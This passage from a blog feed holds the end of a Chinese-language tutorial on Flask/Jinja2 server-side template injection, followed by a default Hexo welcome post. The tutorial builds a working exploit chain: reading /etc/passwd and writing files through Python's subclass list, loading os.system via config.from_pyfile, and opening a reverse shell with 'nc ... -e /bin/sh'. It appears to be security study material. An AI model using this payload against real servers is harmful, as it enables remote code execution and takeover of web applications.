<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149609777784600.png" alt="20170530149609777784600.png"></p>
<p>WOW, 连secret_key都爆出来了(还记得hitcon有个题就是这个套路)</p>
<h1 id="0x03-读写文件"><a href="#0x03-读写文件" class="headerlink" title="0x03 读写文件"></a>0x03 读写文件</h1><p>当然, 我们的目标肯定不能止步于一个 <code></code> 泄露出来的信息. 我们想的当然是最好能拿到一个shell.</p>
<p>要拿到shell, 就很难避免要执行命令, 而Jinja和Flask的template是不太可能提供这种功能的(事实上也没有), 所以在这种环境下, 肯定就要想办法调用python的 <code>system()</code> 或者 <code>check_output()</code> 之类可以执行命令的函数.</p>
<p>首先在Flask/Jinja的模板中, python的字符串,数字这类基本对象是肯定是支持的</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149610443015120.png" alt="20170530149610443015120.png"></p>
<p>其实根据以前在CTF里面的经验, 不难想到先试着调用一下这些对象的内置方法, 去看一下当前环境下能访问哪些对象 <code>&#39;&#39;.__class__.__mro__[2].__subclasses__()</code> , 或者 <code>(1).__class__.__base__.__subclasses__()</code></p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149613100464149.png" alt="20170530149613100464149.png"></p>
<p>这里还是稍微写一下, 首先 <code>&#39;&#39;.__class__</code> 可以访问到字符串的类型对象(关于python中的类型对象参见<a href="http://www.cafepy.com/article/python_types_and_objects/python_types_and_objects.html" target="_blank" rel="external">Python Types and Objects</a>)</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149613122259818.png" alt="20170530149613122259818.png"></p>
<p>因为python中所有的对象都是从Object逐级继承来的, 类型对象也不除外, 所有我们就可以调用对象的 <code>__base__</code> 方法访问该对象所继承的对象</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149613167899580.png" alt="20170530149613167899580.png"></p>
<p>或者使用 <code>__mro__</code>(Method Resolution Order) 直接获得对象的继承链, python用这个方法来确定对象方法解析的顺序</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149613202779829.png" alt="20170530149613202779829.png"></p>
<p>当我们访问到Object的类型对象的时候, 就可以用 <code>__subclasses__()</code>来获得当前环境下能够访问的所有对象.</p>
<p>因为调用对象的 <code>__subclasses__()</code> 方法会返回当前环境中所有继承于该对象的对象. </p>
<p>我们仔细过一遍环境里面存在的对象, 首先引起我们注意的肯定就是这个python内建的file对象</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149614817497351.png" alt="20170530149614817497351.png"></p>
<p>至少我们能读写文件了. </p>
<p><code>&#39;&#39;.__class__.__mro__[2].__subclasses__()[40](&#39;/etc/passwd&#39;, &#39;r&#39;).read()</code></p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170530149614845235931.png" alt="20170530149614845235931.png"></p>
<p><code>&#39;&#39;.__class__.__mro__[2].__subclasses__()[40](&#39;/tmp/test&#39;, &#39;w&#39;).write(&#39;AAAAAAAAAAAAAAAAAA&#39;)</code></p>
<p><img src="http://ony7wielg.bkt.clouddn.com/2017053014961485844412.png" alt="2017053014961485844412.png"></p>
<p>但是即使可以写文件, 好像也拿不到shell, 因为这又不像是PHP, 文件或者说代码的执行我们是很难控制的.</p>
<p>那么就再看看别的对象, 看了一圈好像确实找不到能让我们离命令执行更进一步的对象了, 看来单纯用这种方式很难拿到shell了</p>
<h1 id="0x04-沙盒逃逸"><a href="#0x04-沙盒逃逸" class="headerlink" title="0x04 沙盒逃逸"></a>0x04 沙盒逃逸</h1><p>卡住了以后就按照James大佬的思路, 在我们判断出存在SSTI之后, 下一步要做的就是<strong>仔细阅读文档</strong>, 挖掘一下在当前的环境下有哪些可以利用的点</p>
<blockquote>
<ul>
<li>‘For Template Authors’ sections covering basic syntax.</li>
<li>‘Security Considerations’ - chances are whoever developed the app you’re testing didn’t read this, and it may contain some useful hints.</li>
<li>Lists of builtin methods, functions, filters, and variables.</li>
<li>Lists of extensions/plugins - some may be enabled by default.</li>
</ul>
</blockquote>
<p>在阅读Flask和Jinja的文档的时候, 要仔细翻的就两个部分</p>
<blockquote>
<ul>
<li><a href="http://jinja.pocoo.org/docs/dev/templates/#builtin-globals" target="_blank" rel="external">Jinja globals</a></li>
<li><a href="http://flask.pocoo.org/docs/0.10/templating/#standard-context" target="_blank" rel="external">Flask template globals</a></li>
</ul>
</blockquote>
<p>仔细翻阅之后, 我们在Flask的config对象上找到了突破点, 查看文档发现config对象有一个<a href="http://flask.pocoo.org/docs/0.12/api/#flask.Config.from_pyfile" target="_blank" rel="external">from_pyfile()</a>的方法用于从.py文件中读取配置到config中. 我们去flask的源代码里仔细看一看这个函数的行为</p>
<p>config.py</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">from_pyfile</span><span class="params">(self, filename, silent=False)</span>:</span></div><div class="line">    <span class="string">"""Updates the values in the config from a Python file.  This function</span></div><div class="line">    behaves as if the file was imported as module with the</div><div class="line">    :meth:`from_object` function.</div><div class="line"></div><div class="line">    :param filename: the filename of the config.  This can either be an</div><div class="line">                     absolute filename or a filename relative to the</div><div class="line">                     root path.</div><div class="line">    :param silent: set to ``True`` if you want silent failure for missing</div><div class="line">                   files.</div><div class="line"></div><div class="line">    .. versionadded:: 0.7</div><div class="line">       `silent` parameter.</div><div class="line">    """</div><div class="line">    filename = os.path.join(self.root_path, filename)</div><div class="line">    d = types.ModuleType(<span class="string">'config'</span>)</div><div class="line">    d.__file__ = filename</div><div class="line">    <span class="keyword">try</span>:</div><div class="line">        <span class="keyword">with</span> open(filename) <span class="keyword">as</span> config_file:</div><div class="line">            exec(compile(config_file.read(), filename, <span class="string">'exec'</span>), d.__dict__)</div><div class="line">    <span class="keyword">except</span> IOError <span class="keyword">as</span> e:</div><div class="line">        <span class="keyword">if</span> silent <span class="keyword">and</span> e.errno <span class="keyword">in</span> (errno.ENOENT, errno.EISDIR):</div><div class="line">            <span class="keyword">return</span> <span class="keyword">False</span></div><div class="line">        e.strerror = <span class="string">'Unable to load configuration file (%s)'</span> % e.strerror</div><div class="line">        <span class="keyword">raise</span></div><div class="line">    self.from_object(d)</div><div class="line">    <span class="keyword">return</span> <span class="keyword">True</span></div><div class="line"></div><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">from_object</span><span class="params">(self, obj)</span>:</span></div><div class="line">    <span class="string">"""Updates the values from the given object.  An object can be of one</span></div><div class="line">    of the following two types:</div><div class="line"></div><div class="line">    -   a string: in this case the object with that name will be imported</div><div class="line">    -   an actual object reference: that object is used directly</div><div class="line"></div><div class="line">    Objects are usually either modules or classes.</div><div class="line"></div><div class="line">    Just the uppercase variables in that object are stored in the config.</div><div class="line">    Example usage::</div><div class="line"></div><div class="line">        app.config.from_object('yourapplication.default_config')</div><div class="line">        from yourapplication import default_config</div><div class="line">        app.config.from_object(default_config)</div><div class="line"></div><div class="line">    You should not use this function to load the actual configuration but</div><div class="line">    rather configuration defaults.  The actual config should be loaded</div><div class="line">    with :meth:`from_pyfile` and ideally from a location not within the</div><div class="line">    package because the package might be installed system wide.</div><div class="line"></div><div class="line">    :param obj: an import name or object</div><div class="line">    """</div><div class="line">    <span class="keyword">if</span> isinstance(obj, string_types):</div><div class="line">        obj = import_string(obj)</div><div class="line">    <span class="keyword">for</span> key <span class="keyword">in</span> dir(obj):</div><div class="line">        <span class="keyword">if</span> key.isupper():</div><div class="line">            self[key] = getattr(obj, key)</div></pre></td></tr></table></figure>
<p>flask有 <code>from_json</code>, <code>from_envvar</code>, <code>from_object</code>, <code>from_mapping</code>, <code>from_pyfile</code> 等好几个更新配置的方法, 但是相比于其它 <code>from_pyfile</code> 这个方法的实现有点特殊. 我们看上面的源码, 首先新建一个module对象d, 然后把传入的文件读出来用compile()编译成exec()可以执行的code对象,  然后执行, <strong>并且把 <code>d.__dict__</code> 用作代码对象code执行的scope</strong>. 这句话可能比较抽象, 或者我说的不准确, 这里放一张调试的图, 相信大家一看就明白了</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/2017053114961670666146.png" alt="2017053114961670666146.png"></p>
<p>然后又将d传入了 <code>from_object</code> 方法, <code>from_object</code> 方法遍历 <code>d.__dict__</code> 将键名为大写的键值对更新到当前环境的config对象中.</p>
<p>所以如果我们能让 <code>from_pyfile</code> 去读这样的一个文件</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">from</span> os <span class="keyword">import</span> system</div><div class="line">SHELL = system</div></pre></td></tr></table></figure>
<p>那么我们访问 <code>config[&#39;SHELL&#39;]</code> 时, 实际上就能访问到 <code>system</code> 函数了. 而我们前面又已经做到了文件读写, 所以两个点结合起来我们就完全可以拿到SHELL</p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170531149616851775623.png" alt="20170531149616851775623.png"></p>
<p><img src="http://ony7wielg.bkt.clouddn.com/20170531149616854020117.png" alt="20170531149616854020117.png"></p>
<p>我们最终的payload为</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">&#123;&#123; <span class="string">''</span>.__class__.__mro__[<span class="number">2</span>].__subclasses__()[<span class="number">40</span>](<span class="string">'/tmp/evil'</span>, <span class="string">'w'</span>).write(<span class="string">'from os import system%0aSHELL = system'</span>) &#125;&#125;</div><div class="line">//写文件</div><div class="line">&#123;&#123; config.from_pyfile(<span class="string">'/tmp/evil'</span>) &#125;&#125;</div><div class="line">//加载system</div><div class="line">&#123;&#123; config[<span class="string">'SHELL'</span>](<span class="string">'nc xxxx xx -e /bin/sh'</span>) &#125;&#125;</div><div class="line">//执行命令反弹SHELL</div></pre></td></tr></table></figure>
<h1 id="0x05-参考"><a href="#0x05-参考" class="headerlink" title="0x05 参考"></a>0x05 参考</h1><p><a href="http://www.cafepy.com/article/python_types_and_objects/python_types_and_objects.html" target="_blank" rel="external">http://www.cafepy.com/article/python_types_and_objects/python_types_and_objects.html</a></p>
<p><a href="http://flask.pocoo.org/docs/0.12/api/#flask.Config.from_pyfile" target="_blank" rel="external">http://flask.pocoo.org/docs/0.12/api/#flask.Config.from_pyfile</a></p>
<p><a href="https://docs.python.org/3/library/types.html" target="_blank" rel="external">https://docs.python.org/3/library/types.html</a></p>
<p><a href="https://docs.python.org/3/library/functions.html#exec" target="_blank" rel="external">https://docs.python.org/3/library/functions.html#exec</a></p>
]]></content>
    
    <summary type="html">
    
      &lt;h1 id=&quot;0x00&quot;&gt;&lt;a href=&quot;#0x00&quot; class=&quot;headerlink&quot; title=&quot;0x00&quot;&gt;&lt;/a&gt;0x00&lt;/h1&gt;&lt;p&gt;最近看了国外几篇关于模板注入的文章, 自己也在这里加上自己的一些东西总结一下.  &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;
    
    </summary>
    
    
  </entry>
  
  <entry>
    <title>Hello World</title>
    <link href="http://klaus.link/2016/hello-world/"/>
    <id>http://klaus.link/2016/hello-world/</id>
    <published>2016-12-06T16:30:23.000Z</published>
    <updated>2016-12-06T16:46:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>Welcome to <a href="https://hexo.io/" target="_blank" rel="external">Hexo</a>! This is your very first post. Check <a href="https://hexo.io/docs/" target="_blank" rel="external">documentation</a> for more info. If you get any problems when using Hexo, you can find the answer in <a href="https://hexo.io/docs/troubleshooting.html" target="_blank" rel="external">troubleshooting</a> or you can ask me on <a href="https://github.com/hexojs/hexo/issues" target="_blank" rel="external">GitHub</a>.</p>
<h2 id="Quick-Start"><a href="#Quick-Start" class="headerlink" title="Quick Start"></a>Quick Start</h2><h3 id="Create-a-new-post"><a href="#Create-a-new-post" class="headerlink" title="Create a new post"></a>Create a new post</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ hexo new <span class="string">"My New Post"</span></div></pre></td></tr></table></figure>
<p>More info: <a href="https://hexo.io/docs/writing.html" target="_blank" rel="external">Writing</a></p>
<h3 id="Run-server"><a href="#Run-server" class="headerlink" title="Run server"></a>Run server</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ hexo server</div></pre></td></tr></table></figure>
<p>More info: <a href="https://hexo.io/docs/server.html" target="_blank" rel="external">Server</a></p>
<h3 id="Generate-static-files"><a href="#Generate-static-files" class="headerlink" title="Generate static files"></a>Generate static files</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ hexo generate</div></pre></td></tr></table></figure>
<p>More info: <a href="https://hexo.io/docs/generating.html" target="_blank" rel="external">Generating</a></p>
<h3 id="Deploy-to-remote-sites"><a href="#Deploy-to-remote-sites" class="headerlink" title="Deploy to remote sites"></a>Deploy to remote sites</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">$ hexo deploy</div></pre></td></tr></table></figure>
<p>More info: <a href="https://hexo.io/docs/deployment.html" target="_blank" rel="external">Deployment</a></p>
]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Welcome to &lt;a href=&quot;https://hexo.io/&quot; target=&quot;_blank&quot; rel=&quot;external&quot;&gt;Hexo&lt;/a&gt;! This is your very first post. Check &lt;a href=&quot;https://hexo.
    
    </summary>
    
    
  </entry>
  
</feed>
